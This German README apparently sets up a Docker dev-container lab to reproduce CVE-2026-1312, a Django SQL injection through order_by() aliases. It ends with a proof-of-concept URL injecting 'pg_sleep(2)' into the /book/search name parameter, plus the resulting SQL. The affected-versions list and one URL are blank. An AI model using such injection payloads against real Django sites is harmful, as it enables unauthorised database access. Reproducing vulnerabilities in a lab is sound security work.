
# Reproduziert CVE-2026-1312, eine Django-SQL-Injection-Schwachstelle, mit einer Dockerisierten Umgebung und Schritt-für-Schritt-PoC für Sicherheitstests.
CVE-2026-1312 ist eine kritische Django-SQL-Injection-Schwachstelle: Wenn in QuerySet.order_by() Spaltenaliase mit Punkten verwendet werden und in Kombination mit FilteredRelation über Dictionary-Expansion dynamisch Abfragen konstruiert werden, kann ein Angreifer bösartiges SQL injizieren
Betroffene Versionen:
Dieses Schwachstellenprojekt verwendet den Devcontainer von VSCode für den Aufbau
1️⃣ Projekt öffnen Öffnen Sie das bereits vorhandene Projektverzeichnis (das den .devcontainer-Ordner enthält) mit VS Code.
2️⃣ Container erneut öffnen (Dev Container erstellen)
Drücken Sie Ctrl+Shift+P (Windows/Linux) oder Cmd+Shift+P (Mac)
Geben Sie Remote-Containers: Reopen in Container ein
VS Code liest die .devcontainer-Konfiguration und erstellt den Container (der erste Build kann einige Minuten dauern)
⚠️ Wenn die Dockerfile oder Abhängigkeiten aktualisiert wurden, können Sie Remote-Containers: Rebuild Container wählen, um sicherzustellen, dass die neueste Umgebung verwendet wird.
3️⃣ Django-Entwicklungsserver ausführen
Öffnen Sie die Befehlspalette mit Ctrl+Shift+P
Geben Sie Tasks: Run Task ein
Wählen Sie django:start (die Aufgabe ist bereits in .vscode/tasks.json konfiguriert)
Diese Aufgabe startet den Django-Entwicklungsserver im Container
Standardmäßig wird auf 0.0.0.0:8086 gelauscht
4️⃣ Öffnen Sie den Browser und greifen Sie auf das Projekt zu
Öffnen Sie den Browser und rufen Sie auf:
5️⃣ Hinweise
Beim ersten Ausführen:
Möglicherweise müssen Datenbankmigrationen ausgeführt werden:
python manage.py migrate
Rufen Sie die /book/search-Schnittstelle auf, http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)
Dann sehen Sie, dass eine Verzögerung von 3 Sekunden erfolgreich ist
Zu diesem Zeitpunkt lautet das von der Django-ORM im Hintergrund kompilierte SQL
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC